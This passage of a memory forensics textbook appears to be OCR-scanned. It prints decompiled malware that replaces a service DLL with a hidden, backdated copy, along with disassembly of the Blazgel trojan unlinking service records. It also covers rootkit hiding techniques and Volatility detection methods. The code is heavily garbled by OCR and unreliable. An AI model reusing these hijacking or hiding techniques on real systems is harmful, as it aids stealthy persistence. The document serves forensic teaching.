57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

}

RegCloseKey (phkResult) ;

else

{

memset (&FileName, 0, MAX PATH) ;
dwStatus = (LPCVOID)RegQueryValueExA (phkResult,
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"ServiceDll",

0, O,

(LPBYTE) &FileName,
&cbData) ;

memset ( (void *)&Buffer, 0, MAX PATH) ;

strcpy ((char *)&Buffer,

&FileName) ;

ExpandEnvironmentStringsA (&Buffer, &FileName, MAX PATH) ;

if ( dwStatus == STATUS_SUCCESS )

{

NumberOfBytesRead = 0;
memset ( (void *)&Buffer, 0, MAX PATH) ;

GetTempPathA (MAX_PATH,

wsprintfA (&NewDll1lFile,

"$s\\~DF%d.tmp",
&Buffer,
GetTickCount ()) ;

wsprintfA (&0rigFileCopy,

"$s\\~MS%d.txt",
&Buffer,
GetTickCount ()) ;

(LPSTR) &Buffer) ;

hFileOriginal = CreateFileA(&FileName,
GENERIC READ,
FILE SHARE READ,

0,

OPEN_EXISTING,

0,

0);

if ( hFileOriginal != INVALID HANDLE VALUE )

{

memset (String, 0, 0x400u);
String[1024] = 0;
SetFilePointer (hFileOriginal,
ReadFile (hFileOriginal,
String,
0x400u,
&NumberOfBytesRead,
0);

-1024, 0, FILE END);
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85 CloseHandle (hFileOriginal) ;
86
87 ptrSigIndex = FindSubstring(String,
88 (const char *)&szInfectSignature,
89 1024, 0);
90
91 if ( ptrSigIndex != -1 )
92 {
93 lpBuffer = &String[ptrSigIndex];
94
95 MoveFileA (&FileName, &OrigFileCopy) ;
96 MoveFileExA (&0rigFileCopy, O, MOVEFILE_DELAY_U'NTIL_REBOOT);
97
98 hResInfo = FindResourceA (hInstance, (LPCSTR)101, "BIN");
99 if ( hResInfo )
100 {
101 hResData = LoadResource (hInstance, hResInfo) ;
102 if ( hResData )
103 {
104 hFile = CreateFileA(
105 &NewDl1l1File,
106 GENERIC WRITE,
107 FILE SHARE WRITE,
108 0,
109 CREATE_ALWAYS,
110 FILE_ATTRIBUTE NORMAL,
111 0);
112 if ( hFile )
113 {
114 SystemTime.wMonth = 2;
115 SystemTime.wDayOfWeek = 0;
116 SystemTime.wMinute = 2;
117 SystemTime.wSecond = 0;
118 SystemTime.wYear = 2005;
119 SystemTime.wDay = 18;
120 SystemTime.wHour = 20;
121
122 SystemTimeToFileTime (&SystemTime, &FileTime) ;
123 LocalFileTimeToFileTime (&FileTime, &CreationTime) ;
124 SetFileTime (hFile, &CreationTime, 0, &CreationTime) ;
125
126 dwResSize = SizeofResource (0, hResInfo);
127 WriteFile (hFile,
128 hResData,
129 dwResSize,
130 &NumberOfBytesWritten,
131 0);
132
133 lpBuffer([5] = 75;

134 if ( lpBuffer )
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135 {

136 nNumberOfBytesToWrite = lstrlenA (lpBuffer);
137 WriteFile (hFile,

138 lpBuffer,

139 nNumberOfBytesToWrite + 1,

140 &NumberOfBytesWritten,

141 0);

142 }

143 CloseHandle (hFile) ;

144 FreeResource (hResData) ;

145

146 MoveFileA (&NewDl1lFile, &FileName) ;

147 SetFileAttributesA(&FileName, FILE ATTRIBUTE_HIDDEN) ;
148

149 DeleteFileA (&NewDl1File) ;

150 DeleteFileA (&0rigFileCopy) ;

151 }

152 }

153 }

154 }

155 }

156 }

157 }

158 szNullChar = strchr(Str, 0
159 szNextString = szNullChar[
160 Str = szNullChar + 1;
161 }

162 while ( szNextString );
163 }

164 DeleteFileA (&Filename) ;
165 |}

166 return 0;

167 }

)
11;

The following list describes how the code works:

Line 9: Copies xxxxx (redacted) into the szInfectsignature variable. This is later
used as an infection marker, so the malware doesn’t replace the same file more
than once.

Lines 11-23: Opens the svchost registry key and queries for the netsvcs value. This
returns a REG_MULTI_sz (list of strings) with the names of all services in the group
that require network access. The malware iterates through the list and chooses
one to hijack. By leveraging the netsvcs group rather than just choosing a ser-
vice at random, the malware ensures that network functionality will be available
(dependency-wise).

Lines 24-54: For each service in the netsvcs group, the malware queries for the
ServiceDll path under the parameters subkey. It then expands any environment
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variables (such as $systemroot$%) to obtain the full path and stores the result in
FileName.

Lines 55-66: The malware builds two temporary file paths to prepare for the rest
of the infection. It then copies the original service binary to origrilecopy (with the
.txt extension) and drops the new DLL to an initial location of Newb11File (with
the . tmp extension).

Lines 67-97: The malware opens a handle to the original service binary (FileName)
and reads the last 1024 bytes of the file into a buffer, which it then scans for the
presence of szInfectSignature. If the signature is found, the loop progresses to
the next service in the netsvcs group because the current service has already been
replaced.

Lines 98-113: Retrieves a binary resource from the malware’s resource section
(the body of the replacement DLL) and opens a handle to Newp11File to prepare
to write it to disk.

Lines 114-132: The malware changes the file system’s metadata (the timestamps, in
particular) to make it appear as if the new DLL was actually created on 2/18/2005
at 20:02:00. Then it writes the resource data to the file.

Lines 133-145: Appends the infection signature to the end of the new DLL, to pre-
vent the same malware from replacing it again in the future.

Lines 146-167: The malware moves the new DLL (Newp11File) from the temporary
directory to the location of the original binary (FileName). It sets the NTFS hidden
attribute so that users would need to change Explorer’s default settings before
seeing the file in directory listings. Finally, it deletes both temporary files.

Detecting Disk-based Hijacks

Detecting the disk-based hijack in memory isn’t as straightforward as the registry-based
method because nothing changed besides the file’s content. Short of looking for artifacts
the new DLL creates when it loads (that is, connections, API hooks), you can dump all
DLLs and compare them with baseline copies to try to determine if any were replaced.
Keep in mind that the hashes of DLLs dumped from memory will never match the ones
on disk, but you could base the analysis on other factors such as file size, PE header com-
pilation timestamp, and so on. If anything looks different, you could disassemble the
code for verification purposes.

Revealing Hidden Services

As we have alluded to earlier in the chapter, it is possible for malware to hide services.
For example, Blazgel (http ://www.threatexpert.com/threats/backdoor-win32-blazgel
.html) scans the memory of services.exe from 0x300000 to 0x5000000 looking for its
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target service. It essentially looks for the serviceName member of the _SERVICE_RECORD
structure. As shown in Figure 12-3, when it finds a positive match, it subtracts 8 (see the 1ea
eax, [esi-8] instruction) because the serviceName member is at offset 8 of the SERVICE
RECORD structure on 32-bit systems. This gives Blazgel a pointer to the base address of the
_SERVICE RECORD structure. Next, it overwrites the F1ink and B1ink values of the next and
previous structures, respectively, which effectively makes the target service “disappear”
from all service listings on the live machine.

800167E5 push esi
806167E6 push edi
888187E7 mov [ebp+var_18], esp
8081087EA mouw esi, 3000088h ; Hinimum address
iy
EH N Ll
808107EF
088187EF top loop:
8008187EF mov [ebp+1lpStart], esi
08808107F2 cmp esi, 50080806h ; Haximum address|
888107F8 jnb short done searching
1
¥
BN Ll BN Ll
088107FA and [ebp+uar_4], @ 00010848
808187FE mov eax, [ebp+lpAddressToSearch]| (BA61884A done_searching:
00e18801 cnp eax, [esi] 806168840 nov al, 1
88610883 jnz short next addr 8061884C mov ecx, [ebp+var_18]
0001084F mou large fs:8, ecx
08610856 pop edi
00810857 pop esi
806108858 pop ebx
088810859 leave
8068168850 retn 8
08681085A Unlink endp
80618850
Looking for EAN Ll = =
. 888108885 push [ebp+szSeviceToHide] ; wchar_t 3
the service —+—————————— |aop10s08 push duord ptr [esi+4] ; wchar_t =
to hide 80010808 call ds zwescnp
80818811| pop ecx
08818812( pop ecx
AAA108813 Test 8ax, eax
0808010815 jnz short next addr
1
¥
=1, T B N 11
ape18817 lea eax, [esi-8] 80810835
8081881A mov [ebp+pServiceToHide], eax 608108835 loc_18835:
asa18828 mou ecx, [eax+SERUVICE_RECORD.PreviousServiceRecord] 88818835 mov esp, [ebp+var_18]
The unlink 80818822 mou edx, [eax+SERUlEE_RE[:IJHD.Next_:Serui:eHecurd] 80810828 mov es%, [ebp+1pStart]
868818825 mov [ecx+SERVICE_RECORD.MextServiceRecord], edx 68616838 add esi, OFFCh
occurs here AAA16828 mou ecx, [eax+SERVICE_RECORD.MNextServiceRecord]
20818828 mov eax, [eax+SERVICE_RECORD.PreviousServiceRecord]
86616820 mov [ecx+SERUICE_RECORD.PreviousServiceRecord], eax
96081082F jmp short next_addr
1
YTy
B N Ll
@aa10841
806818841 next_addr:
00810841 or [ebptuar_4], BFFFFFFFFh|
806818845 add esi, i
009610848 jmp short top loop
L

Figure 12-3: The Blazgel Trojan hides services by unlinking them.

At this point, users can no longer rely on any of the aforementioned methods of enu-
merating services on the live machine (that is, MMC, sc query, PowerShell, or psservice
.exe). Although the hidden service is still running, the SCM has no knowledge that it
exists, and thus the results of most analysis tools will be tainted. As an example, consider
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a system that runs the Windows Security Center service. You can get details about the

service by typing the following command:

C:

\>sc query wscsvc

SERVICE_NAME: wscsvc

TYPE : 20 WIN32 SHARE PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32 EXIT CODE : 0 (0x0)
SERVICE _EXIT CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT HINT : 0x0

You can see that the service is running. Now stop the service with net stop and then

requery for the service’s status. You should see that it is in the stopped state:

C:

\>net stop wscsvc

The Security Center service is stopping.

The Security Center service was stopped successfully.

C:

\>sc query wscsvc

SERVICE _NAME: wscsvc

TYPE : 20 WIN32 SHARE PROCESS

STATE : 1 STOPPED
(NOT_STOPPABLE, NOT PAUSABLE, IGNORES_SHUTDOWN)

WIN32 EXIT CODE : 0 (0x0)

SERVICE EXIT CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT HINT : 0x0

Figure 12-4 shows how the output of svcscan appears both before and after stopping the

service. To generate these visuals, you can add the - -output=dot option to your Volatility

command. As you can see, in both cases, wscsvc sits between the wmiapsrv and wuauserv
services in the doubly linked list.
Now, to simulate what would happen when malware hides a service, you can use a proof-

of-concept program to perform the unlinking. Both the source code and compiled execut-

abhafortfmiprograﬁlaﬂaavaﬂabkahere:https://code.google.com/p/malwarecookbook/

source/browse/trunk/17/lO/UnlinkServiceRecord.zipfrhefOHOVVhlg(Dutputshovvsthat

immediately after unlinking wscsvc, the sc query command produces an error:

C:

\>UnlinkServiceRecord.exe wscsvc

Service to hide: wscsvc

SCM Process ID: 0x28c

Found PsServiceRecordListHead at 0x6ele90

Found a matching SERVICE_RECORD structure at 0x6ea3d0!
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C:\>sc query wscsvce
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:

The specified service does not exist as an installed service.

o
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Figure 12-4: The wscsvc service in a running and stopped state

Because wscsvc is unlinked from the list, it does not show up in the sc query output,
the MMC list, or the list of running services produced by third-party applications such as
psservice, GMER, and Process Hacker. However, as shown in Figure 12-5, the _servicE_
RECORD structure for wscsve still exists in the memory of services.exe. Furthermore, the
Flink and Blink values for wscsve still point to wmiaApsrv and wuauserv, but nothing points

to wscsve, thus isolating it from the linked-list.

You can take a few important facts away from this discussion about hidden services.
First, a service remains in the doubly linked list even when in the stopped state. Second,
a service process remains active even when a malicious program unlinks its _SERVICE

RECORD structure.
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Figure 12-5: The wscsvc service has been unlinked from the list.

Summary

Over the years, attackers have used and abused the service architecture in various ways.
As one of the primary persistence mechanisms that even “advanced” threat groups utilize,
analysts need a thorough understanding of service-related evidence to be effective on
their cases. It’s also critical to know the limitations of live tools that enumerate services
and how rootkits can hide their presence. By combining artifacts in memory with similar
clues on disk, such as the registry hives, you can combat the hiding techniques and often
get a comprehensive view of the current configurations for services on a suspect system.



o far in this book, you've learned a lot about artifacts that exist in kernel memory,
such as file objects, network structures, and cached registry hives. We even covered
topics such as hiding processes by directly modifying kernel objects. However, you haven't
learned how to actually track down malware that runs in kernel mode by loading a driver.
Furthermore, once running in the kernel, a rootkit has countless ways to evade detection
and persist on a system by manipulating call tables, hooking functions, and overwriting
metadata structures.
This chapter shows you how memory forensics can help you detect high-profile rootkits
such as ZeroAccess, Tigger, Blackenergy, and Stuxnet. You'll also get some experience with
combining Volatility with IDA Pro for in-depth static analysis of malicious kernel modules.

Kernel Modules

The diagram shown in Figure 13-1 displays, at a high level, some of the concepts covered
in this chapter. When you're performing kernel memory forensics, youre often hunting
down a malicious kernel module—and there are many ways to do that. As shown in the
diagram, the kernel debugger data block has a member named psLoadedModuleList that
points to a doubly linked list of kLDR_DATA TABLE_ENTRY structures. These contain metadata
about each kernel module, such as where to find its base address (i.e., the start of the PE
file), the size of the module, and the full path to the module’s file on disk. APIs on the live
system, and consequently any forensic tools that rely on those APIs, enumerate modules
by walking this list. Thus, rootkits can hide their presence by unlinking an entry. In the
diagram, the entry in the middle has been unlinked.

Despite the fact that an entry has been unlinked, the metadata structure is still intact
(i.e., not zeroed out). Thus, it’s possible to find the structure(s) by using a pool-scanning
approach (see Chapter 5). In particular, the metadata structures exist in pools tagged with
MmLd, which is how the Volatility modscan plugin finds them. Moving on to a slightly more
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thorough rootkit, assume that the metadata structure is unlinked and then overwritten
with all zeros, including the pool tag. In this case, neither list walking nor pool tag scan-
ning can identify the hidden module. But don’t worry—only the metadata is targeted here.
The actual data (i.e., the portable executable [PE] file and all its functions) is still accessible.

_ETHREAD
[ | Start Address
4 PE Header
KDBG ) ) <
; Unlinked/Hidden System Service Table (SSDT)
K Kernel Module
— PsLoadedModulelList n Code <
; — NtQuerySystemInformation
MmLd [MmLd f——— MmLd
Base
L >
Size, Name, Path
_LIST_ENTRY {
_LIST_ENTRY { _LIST_ENTRY { > Flink
Blink } Blink }

KLDR_DATA_TABLE_ENTRY

Figure 13-1: A high-level overview of some of the artifacts in kernel memory that can help you find

malicious modules

If you encounter a rootkit that hides in the aforementioned ways, you can still perform

a brute force scan through kernel memory looking for PE headers (e.g., the MZ signa-

ture). Specifically, look for instances in which the base address is not represented in the
linked list of modules, which is a strong indicator that the PE file you found is hidden.
Unfortunately, this technique doesn’t help you recover the full path on disk to the mod-
ule, but at least you can extract it from memory and perform static analysis of the binary.
Now consider an even stealthier rootkit that also wipes out its PE header (and the MZ
signature). Once loaded into memory, these values are nonessential and can easily be
corrupted for anti-forensics. One comforting fact that you can rely on, however, is that
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the malicious kernel module’s code must remain in memory in order for the rootkit to
function. In other words, no matter how many ways it hides, it still must retain some
presence, which is the weakness that you can exploit for detection.

For example, if the module wants to monitor API calls, it hooks the System Service
Dispatch Table (SSDT), described later in the chapter, or patches another module’s code
section with instructions that redirect control to the rootkit function. If it wants to com-
municate with processes in user mode, it needs a driver object (see the driverscan plugin)
and one or more devices (the devicetree plugin). At any point, if the module launches
additional threads to carry out tasks concurrently, it results in the creation of a new thread
object that has a starting address pointing directly at the module’s code.

In this chapter, you'll see how to leverage these indirect artifacts to locate and extract
the malicious kernel module’s code, regardless of how it hides.

Classifying Modules

A typical Windows system has hundreds of kernel modules, so identifying the malicious
one(s) can require a good amount of effort. As you read through this chapter, keep the
following questions in mind. They will help you determine which modules to focus on
during an investigation:

Is it unlinked or hidden? With the exception of some antivirus products that try
to hide from malware, there’s no legitimate reason to unlink a module’s metadata
structure.

Does it handle any interrupts? Although third-party kernel modules can register
their own interrupt handlers, the NT module (ntoskrnl.exe, ntkrnlpa.exe, etc.)
should always be the handler of critical interrupts such as the page fault, break-
point trap, and system service dispatcher. You can check these with the Volatility
idt plugin.

Does it provide any system APIs? When user mode applications call system APIs,
the address of the API in kernel memory is resolved using a table of pointers
called the SSDT. An adversary can overwrite these pointers, except in some cases
on 64-bit platforms with Patchguard enabled. Typically, the only modules that
should be involved are the NT module, the Windows graphical user interface
(GUI) subsystem module (win32k. sys), the IIS support driver (spud. sys), and some
antivirus products.

Is the driver signed? On 64-bit systems, all kernel modules need to be signed. You
should check that the signer is legitimate, the certificate hasn’t expired, and so on.
You'll need the corresponding kernel module files from disk to verify the signa-
tures, however, due to the changes that occur when loading modules into memory.

369
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Are the names and paths valid? Sometimes a very simple indicator, such as the
module’s name or full path on disk, can reveal suspicious behaviors. For example,
Stuxnet used hard-coded names such as MrRxNet . sys, and Blackenergy loaded a
module whose name was entirely composed of hex characters (e.g., 000000BD8 . sys).
It's also a good idea to make sure that modules aren’t loaded from temporary paths.
Does it install any callbacks? As you'll see later in the chapter, callbacks provide
a mechanism to receive notification when particular events occur, such as when
new processes start or a crash dump is about to be created. You'll want to be aware
of which callbacks, if any, a particular module has registered.

Does it create any devices? Devices often have a name, which means you can use
them for indicators of compromise (provided that they're not randomly generated).
You'll also want to see whether a driver’s devices are acting as a filter by attaching
to the keyboard, network, or file system driver stacks.

Are there any known signatures? Last but not least, brute force code content checks
can be very useful. Extract a module from memory, or all of them for that matter,
and scan them with antivirus signatures or Yara rules.

How Modules Are Loaded

The simple act of loading a kernel module results in the creation of various artifacts in
memory. However, the exact evidence depends on the technique used. Here is a short
description of the possible methods and some of the traces you can expect to find:

Service Control Manager (SCM): Microsoft’s recommended way to load kernel
modules is to create a service (createService) of type SERVICE_KERNEL_DRIVER and
then start the service (Startservice). As described in Chapter 12, these APIs auto-
matically create a subkey in the registry under currentcontrolset\services named
according to the new service. This method also generates event log messages if
auditing is enabled. Furthermore, a new service record structure is created in the
memory of services.exe (see the svescan plugin). It’s possible to unload the driver
by simply stopping the service.

NtLoadDriver: Chapter 12 described a malware sample that bypassed some
of the forensic artifacts that the SCM method left. Although the registry keys
are still required, if you directly call NtLoadpriver (instead of createservice
and startservice), the event log messages are not emitted, and services.exe
is not notified of the activity. You can still easily unload the module by calling
NtUnloadDriver.

NtSetSystemInformation: A slightly stealthier method of loading modules
involves calling this API with the systemLoadandcallImage class (see http://
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www.shmoo.com/mail/bugtraq/augoO/msg00404.shtml).[\HfKNJgflthisiSthe only

method that does not require registry entries, after you load a module in this man-

ner there is no easy way to unload it—short of rebooting the machine.

Now that you've seen the APIs required for each of these methods, you can recognize

them when analyzing an application’s imported function calls.

Enumerating Modules on Live Systems

It’s important to become familiar with the ways in which live tools enumerate kernel mod-

ules to understand how they're often subverted. A list of the available resources follows:

® Process Explorer: If you click the system process and choose View = Lower Pane

View = DLLs, you'll see the list of currently loaded kernel modules. Figure 13-2

shows an image of the way it appears.

¥ Process Explorer - Sysinternals: www.sysinternals.com [WIN-BQEF65OCL58\Elliat] o
File Options View Process Find DLL Users Help
CIEILICI=E 15 IV Y2 || o [ | L4 |
Process PID CPU Private Bytes Working Set  Description Company Name =
7] System ldle Process 0 %682 0K 24K [
B Intermupts n/a 099 0K 0 K Hardware Intemrupts and DPCs
(87 smss exe 256 3B2ZK 1.024 K Windows Session Manager Microsoft Corporatic
[ csrss.exe 348 <0 1,992 K 4,240 K Client Server Runtime Process Microsoft Corporatic
=1 [0 wininit.exe 400 1288K 4,120 K Windows Start-Up Application Microsoft Corparatic
B [m7]services exe 500 003 4812K 9,312 K Services and Cortrollerapp ~ Microsoft Corporatic
[=1 [ svehost exe 616 3564 K 9.516 K Host Process for Windows S... Microsoft Cormoratic ™
[ WmiPrvSE exe < L] C
Base MName Description Compary Name Path ol
(cFFFFFE2000F1D000  ACPlsys ACP| Driver for NT Microsoft Corporation C."-‘.“a'induws"\sysleml.‘l—l
(<FFFFFB20036B0000 afd.sys Ancillary Function Driver for WinSo... Microsoft Corporation CMWindows'\system3:
(cFFFFFE2003045000  AgileVpn sys RAS Agile Vpn Miniport Call Mana...  Microsoft Corporation CWindows system3.
(<FFFFFE8001137000 amdxata.sys Storage Filter Driver Advanced Micro Devices  C:\Windows'\system3
(«FFFFF28003332000 asyncmac.sys MS Remote Access serial network ... Microsoft Corporation CWindows system3.
{(cFFFFFBB000EGDO00  atapi.sys ATAPI IDE Miniport Driver Microsoft Corporation CA\Windows'\system3:
(FFFFF22001080000 ataport.5YS ATAPI Driver Extension Microsoft Corporstion CAWindows system3,
(FFFFFBBDDOFESD0D0  BATTC.SYS Battery Class Driver Microsoft Corporation CM\Windows'\system3.
(<FFFFF28001434000 Beep.5YS BEEP Driver Microsoft Corporation CMWindows\System3
[cFFFFFB8003B6D000  blbdrive sys BLB Drive Driver Microsoft Corporation CM\Windows'\system3.
| (<FFFFF820022C3000  bowsersvs NT Lan Manaoer Dataaram Recei... Microsoft Comoration C:\Windows\svatem3: ™
4 n (2
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Figure 13-2: Process Explorer can show loaded kernel modules in the lower pane when you
select the System process.

® Windows API: The EnumbeviceDrivers function (see XK32EnumDeviceDrivers) can

retrieve the load address for each kernel module. Internally, these helper APIs call

NtQuerySystemInformation.

® Windows Management Instrumentation (WMI): You can use the win32_

SystemDriver class to enumerate system drivers. Note that this class is derived from
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Win32_BaseService, 50 it actually consults the registry (not NtQuerySystemInformation)
for the subset of installed services that load kernel modules.

Nirsoft: The DriverView GUI application (http ://www.nirsoft.net/utils/driverview
.html) shows a list of loaded modules generated by calling NtouerySystemInformation.
Native API: C or C++ programs can directly call NtQuerysystemInformation with
the systemModuleInformation class to retrieve the list of loaded kernel modules.
This API, upon which so many other tools rely, references the doubly linked list
of KLDR_DATA_TABLE_ENTRY structures described in Figure 13-1.

In short, with the exception of WM]I, all the described methods directly or indirectly
call the native API NtQuerySystemInformation. In other words, simply unlinking a meta-
data structure or installing an API hook is powerful enough to hide from the majority of
system administration tools. It is also possible to hide from WMI by deleting the required
registry keys after loading a module or by using NtSetsystemInformation to initially load
the module.

Modules in Memory Dumps

Volatility is well equipped to find, report on, and extract kernel modules from memory.
Here’s a list of the plugins that you'll use most frequently for these types of actions:

modules: This plugin walks the doubly linked list of metadata structures pointed to
by PsLoadedModuleList. Because newly loaded modules are always added to the
end of the list, this plugin has the advantage of showing you a relative temporal
relationship between modules (in other words, you can tell the order in which the
modules loaded).

modscan: This plugin uses pool tag scanning through the physical address space,
including freed /deallocated memory, in search of Mmrd (the module metadata pool
tag). It enables you to find both unlinked and previously loaded modules.
unloadedmodules: For debugging purposes, the kernel maintains a list of modules
that have recently unloaded. Along with the module names, it stores timestamps
to indicate exactly when they unloaded and the locations in kernel memory they
used to occupy.

moddump: This plugin extracts one or more kernel modules that you identify by name
or base address. It can only extract currently loaded modules with valid PE headers.
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Ordered List of Active Modules

The following output shows an example of using the modules plugin. It's important to
understand the difference between the offset (v) and Base columns. The prior (displayed
in the far-left column) is the virtual address of the KLDR_DATA TABLE ENTRY metadata struc-
ture. The latter is the base address (also in virtual memory) of the start of the module’s
PE header. Thus, on this particular system, you would expect to find the MZ signature
for the NT module, ntoskrnl .exe, at 0xff£££80002852000.

$ python vol.py -f memory.vmem --profile=Win7SP1x64 modules
Volatility Foundation Volatility Framework 2.4

Offset (V) Name Base Size File

0xfffffa8000c32890 ntoskrnl.exe 0xff£££80002852000 0x5ea000
\SystemRoot\system32\ntoskrnl.exe

0xfffffa8000c327a0 hal.dll 0xf££££80002809000 0x49000
\SystemRoot\system32\hal.dll

0xfffffa8000c326c0 kdcom.dll 0xff£££80000b9a000 0xa000

\SystemRoot \system32\kdcom.dll
0xfffffa8000c2cf20 mcupdate.dll 0xff£££88000cdd000 0x4£000
\SystemRoot \system32\mcupdate GenuineIntel.dll

[snip]

0xfffffa8001515e20 bthport.sys 0xff£££880022e7000 0x8c000
\SystemRoot\System32\Drivers\bthport.sys

0xfffffa80014383f0 rfcomm.sys 0xff£££88003238000 0x2c000
\SystemRoot \system32\DRIVERS\rfcomm. sys

0xfff£fa80023d3570 BthEnum.sys 0xf££f££88003264000 0x10000
\SystemRoot \system32\DRIVERS\BthEnum. sys

0xfffffa80020461e0 bthpan.sys 0xff£££8800339d000 0x20000
\SystemRoot\system32\DRIVERS\bthpan.sys

0xfffffa80029958a0 PROCEXP152.SYS 0xfffff880033bd000 0xd000

\??\C:\Windows\system32\Drivers\PROCEXP152.SYS

The NT module is the very first module to load, and it’s followed by hal.d11 (the hard-
ware abstraction layer). This makes sense because they are both primary components
of the OS that need to start early. You'll then begin to notice drivers related to specific
services that start automatically at boot time, such as the kernel debugger communica-
tion (kdcom.d11) and Bluetooth (BthEnum. sys) drivers. The very end of the list shows the
most recently loaded module, ProceExp152.5sys, which is related to SysInternals Process
Explorer—which a user interactively started.

If the system became infected with a kernel rootkit, you'd see a new entry for the
malicious module added to the end (assuming that you capture memory before the next
reboot and that the rootkit doesn't try to hide its metadata structure).
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Brute Force Scanning for Modules

The output of the modscan plugin resembles that of which you just saw. However, there
are some key differences:

Because the module metadata structures are found by scanning through the physi-
cal address space, the column on the left, of£set (p), displays a physical offset
rather than an address in virtual memory.

The modules appear in the order in which they’re found, not the order in which
they were loaded.

Of course, because modscan also audits free and deallocated memory blocks, you can
find unlinked and previously loaded modules. Here’s an example of the output:

$ python vol.py -f memory.vmem --profile=Win7SP1x64 modscan
Volatility Foundation Volatility Framework 2.4

Offset (P) Name Base Size File

0x000000000038ae90 mouclass.sys 0xff£££880030bd9000 0x£f000
\SystemRoot \system32\DRIVERS\mouclass.sys

0x000000002¢c78¢c590 serenum.sys 0xff£££88003a1d000 0xc000
\SystemRoot\system32\DRIVERS\serenum.sys

0x000000003e0eddel spsys.sys Oxf££££88003321000 0x71000
\SystemRoot\system32\drivers\spsys.sys

0x000000003e3958a0 PROCEXP152.SYS 0xfffff880033bd000 0xd000
\??\C:\Windows\system32\Drivers\PROCEXP152.SYS

0x000000003e422360 lltdio.sys 0xff££££880023d2000 0x15000
\SystemRoot\system32\DRIVERS\11ltdio.sys

0x000000003e424a00 rspndr.sys 0xff£££880023e7000 0x18000
\SystemRoot \system32\DRIVERS\rspndr.sys
[snip]

Recently Unloaded Modules

The following output shows an example of the unloadedmodules plugin. As previously
mentioned, the kernel maintains this list for debugging purposes. For example, a module
may queue a Deferred Procedure Call (DPC) or schedule a timer, but then unload without
cancelling it. Thus, when the procedure is invoked, the intended handler function is
no longer in memory. This can cause a dangling pointer issue and lead to unpredictable
consequences. If the kernel didn't keep this list of recently unloaded modules and the
address ranges they used to occupy, it would be next to impossible to determine which
module is buggy.

$ python vol.py -f memory.vmem --profile=Win7SP1x64 unloadedmodules
Volatility Foundation Volatility Framework 2.4
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Name StartAddress EndAddress Time
dump_dumpfve.sys Oxfff£f£8800167b000 Oxfffff8800168e000 2014-03-27 17:22:20
dump_LSI_SAS.sys Oxff£f££8800165e000 OxEffff8800167b000 2014-03-27 17:22:20
dump_storport.sys Oxfff£f£88001654000 Oxfffff8800165e000 2014-03-27 17:22:20
crashdmp.sys O0xffff£f88001646000 Oxfffff88001654000 2014-03-27 17:22:20
bthpan.sys O0xff£££880023b2000 Oxfffff880023d2000 2014-04-08 16:43:31
rfcomm. sys OxEf££££88002376000 OxEf£££880023a2000 2014-04-08 16:43:31
BthEnum.sys Oxf££££880023a2000 OxEf££f£880023b2000 2014-04-08 16:43:31
BTHUSB. sys Oxff£f££88003caB8000 OxEf£f£f£f88003cc0000 2014-04-08 16:43:31
[snip]

The unloaded module list can also come in handy for forensics and malware investiga-
tions, particularly when rootkits attempt to unload quickly (i.e., the get in, get out approach).
As shown in the following example from a Rustock.C variant, you cannot find the
xxx. sys module in the active modules list or by pool tag scanning. However, in an entirely
different data structure, the kernel remembers that the malicious module once loaded.

$ python vol.py -f rustock-c.vmem --profile=WinXPSP3x86

Volatility Foundation Volatility Framework 2.4

Name

StartAddress EndAddress

Time

unloadedmodules

Sfloppy.SYS 0x00£8b92000 0xf8b95000 2010-12-31 18:46:04
Cdaudio.SYS 0x00£89d2000 0x£89d7000 2010-12-31 18:46:04
splitter.sys 0x00£8c1c000 0xf8cle000 2010-12-31 18:46:40
swmidi.sys 0x00£871a000 0x£f8728000 2010-12-31 18:46:41
aec.sys 0x00£75d8000 0xf75fb000 2010-12-31 18:46:41
DMusic.sys 0x00£78d0000 0xf78dd000 2010-12-31 18:46:41
drmkaud.sys 0x00£8d9c000 0x£8d9d000 2010-12-31 18:46:41
kmixer.sys 0x00£75ae000 0xf75d8000 2010-12-31 18:46:46
XXX .SYS 0x00£6£88000 0xf6£fc2000 2010-12-31 18:47:57

$ python vol.py -f rustock-c.vmem
$ python vol.py -f rustock-c.vmem

--profile=WinXPSP3x86
--profile=WinXPSP3x86

modules | grep xxx
modscan | grep xxx

Unfortunately, because the xxx . sys module did in fact unload, you can no longer expect
to dump it out of memory. However, at least you have a timestamp associated with the
activity that you can use in timeline-based investigations, and you also have the name of
the file on disk, so you can attempt to recover it from the file system.

Extracting Kernel Modules

Provided that a kernel module is still loaded into memory, you can extract it for static
analysis with the moddump plugin. The available command-line options are shown here:

$ python vol.py -f memory.vmem --profile=Win7SP1x64 moddump

375



376 Partll: Windows Memory Forensics

[snip]

-D DUMP_DIR, --dump-dir=DUMP_DIR

Directory in which to dump executable files
-u, --unsafe Bypasses certain sanity checks when creating image
-r REGEX, --regex=REGEX

Dump modules matching REGEX

-i, --ignore-case Ignore case in pattern match
-b BASE, --base=BASE Dump driver with BASE address (in hex)
-m, --memory Carve as a memory sample rather than exe/dis

Dump a kernel driver to an executable file sample

To extract all currently loaded modules, just supply a path to your desired output
directory, like this:

$ python vol.py -f memory.dmp
--profile=Win78P1x64 moddump
--dump-dir=0UTDIR

Volatility Foundation Volatility Framework 2.4

Module Base Module Name Result

Oxf££f££8000281b000 ntoskrnl.exe OK: driver.fffff8000281b000.sys
Oxff£f££80002e05000 hal.dll OK: driver.fffff80002e05000.sys
Oxff£f££88002b53000 peauth.sys OK: driver.fff£f£88002b53000.sys
Oxfff££88002ad9000 mrxsmblO.sys OK: driver.fffff88002ad9000.sys
Oxfff££f88000£3c000 WMILIB.SYS OK: driver.fffff88000£3c000.sys
0xfffff8800183a000 disk.sys OK: driver.fffff8800183a000.sys
Oxf££f££88004393000 portcls.sys OK: driver.fffff88004393000.sys
O0xfff£f88000e1lb000 termdd.sys OK: driver.fffff88000e1b000.sys
Oxfff££880042a8000 HIDPARSE.SYS OK: driver.fff£f£880042a8000.sys
Oxfff££880027dd000 rspndr.sys OK: driver.fffff880027dd000.sys
0xfff££880042be000 vmusbmouse.sys OK: driver.fffff880042be000.sys
Oxf££f££88000c00000 CI.d1l1l OK: driver.fffff88000c00000.sys
[snip]

Notice how the name of the output file is driver.ADDR. sys where ADDR is the base
address of the module in kernel memory. Because only one module can occupy a given
address at a time, the naming convention ensures that the output file names are unique
(as opposed to basing them on the module’s name, which can cause conflicts).

In the next example, we extract modules using a case-insensitive regular expression.
